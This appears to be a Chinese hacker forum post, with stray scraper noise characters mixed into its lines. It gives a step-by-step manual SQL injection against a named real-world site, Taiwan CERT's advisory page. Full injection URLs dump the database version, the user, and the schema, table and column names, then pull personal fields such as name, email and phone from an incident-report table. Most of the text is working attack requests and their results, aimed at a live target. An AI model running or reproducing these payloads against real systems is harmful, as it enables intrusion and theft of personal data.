1.判断版本http://www.cert.org.tw/document/advisory/detail.php?id=7 and ord(mid(version(),1,1))>51 返回正常,说明大于4.0版本,支持ounion查询) ]" J" T: b' R+ q; O/ A/ W. S
2.猜解字段数目,用order by也可以猜,也可以用union select一个一个的猜解
+ l! F4 ]& a+ E) T5 h2 k% Khttp://www.cert.org.tw/document/advisory/detail.php?id=7 and 2=4 union select 1,2,3,4,5,6,7,8,9--
f# T: @9 {' A) h. t: {0 ^: d3.查看数据库版本及当前用户,http://www.cert.org.tw/document/advisory/detail.php?id=7 and 2=4 union select 1,user(),version(),4,5,6,7,8,9--
3 q2 d% G1 w( [* f# S0 P' |数据库版本5.1.35,据说mysql4.1以上版本支持concat函数,我也不知道是真是假,有待牛人去考证。
- T1 F+ j0 [7 u3 ^8 W4.判断有没有写权限$ o8 t5 Q$ C$ T; N1 o
http://www.cert.org.tw/document/advisory/detail.php?id=7 and (select count(*) from MySQL.user)>0-- 返回错误,没有写权限
$ Q6 B! P( b0 T# |* x没办法,手动猜表啦2 n J* d& }5 ^. Q7 \
5.查库,以前用union select 1,2,3,SCHEMA_NAME,5,6,n from information_schema.SCHEMATA limit 0,1
~3 c3 B+ @- H3 m2 c但是这个点有点不争气,用不了这个命令,就学习了下土耳其黑客的手法,不多说,如下/ L. R% K8 f0 w# L6 l- d { u+ ^
http://www.cert.org.tw/document/ ... union+select+concat(0x5B78786F6F5D,GROUP_CONCAT(DISTINCT+table_schema),0x5B78786F6F5D),-3,-3,-3,-3,-3,-3,-3,-3+from+information_schema.columns--" _8 G; N4 n3 C7 [
成功查出所有数据库,国外的黑客就是不一般。数据库如下:
$ o& R# Q' Z8 Z" P: M$ Rinformation_schema,Advisory,IR,mad,member,mysql,twcert,vuldb,vulscandb
4 q3 X3 Z8 \1 {% d+ R' o0 t7 d* f6.爆表,爆的是twcert库& Z4 P& k: R- w- v5 R( h: R
http://www.cert.org.tw/document/ ... union+select+concat(0x5B78786F6F5D,GROUP_CONCAT(DISTINCT+table_name),0x5B78786F6F5D),-3,-3,-3,-3,-3,-3,-3,-3+from+information_schema.columns+where+table_schema=0x747763657274--
9 |! s0 _! J! k+ O爆出如下表# }) i1 ]' v5 y" Q& @- V% x
downloadfile,irsys,newsdata,secrpt,secrpt_big5* k9 f6 x5 K. O s# w, S, g
7.爆列名,这次爆的是irsys表
0 t/ b% z% d: H( w. n! K! D/ rhttp://www.cert.org.tw/document/ ... union+select+concat(0x5B78786F6F5D,GROUP_CONCAT(DISTINCT+column_name),0x5B78786F6F5D),-3,-3,-3,-3,-3,-3,-3,-3+from+information_schema.columns+where+table_name=0x6972737973--+ u, P$ V; g& p5 o% A- v( j& E; W
爆出如下列
0 t5 X2 g* f7 ?) c% hir_id,name,company,email,tel,pubdate,rptdep,eventtype,eventdesc,machineinfo,procflow,memo,filename,systype,status
, \8 x) K% _- U+ W8.查询字段数,到这一步,国内很少有黑客去查询字段数的,直接用limit N,1去查询,直接N到报错为止。) K' {) y3 o7 `/ b9 C* k) [
http://www.cert.org.tw/document/ ... union+select+concat(0x5B78786F6F5D,CONCAT(count(*)),0x5B78786F6F5D),-3,-3,-3,-3,-3,-3,-3,-3+from+twcert.irsys--9 J# U$ O! c- J$ V* r8 H3 e
返回是3,说明每个列里有3个地段
' }5 F( h( y4 G w9.爆字段内容 d6 @( C0 g, N
http://www.cert.org.tw/document/ ... union+select+concat(0x5B78786F6F5D,name,0x5B78786F6F5D),-3,-3,-3,-3,-3,-3,-3,-3+from+twcert.irsys+LIMIT+0,1-- t; j; r) D. @& x$ z
爆出name列的第一个字段的内容0 x0 P) I, j& V
http://www.cert.org.tw/document/ ... union+select+concat(0x5B78786F6F5D,name,0x5B78786F6F5D),-3,-3,-3,-3,-3,-3,-3,-3+from+twcert.irsys+LIMIT+1,1--6 I3 [# w; N1 D4 w5 N
爆出name列的第二个字段的内容 |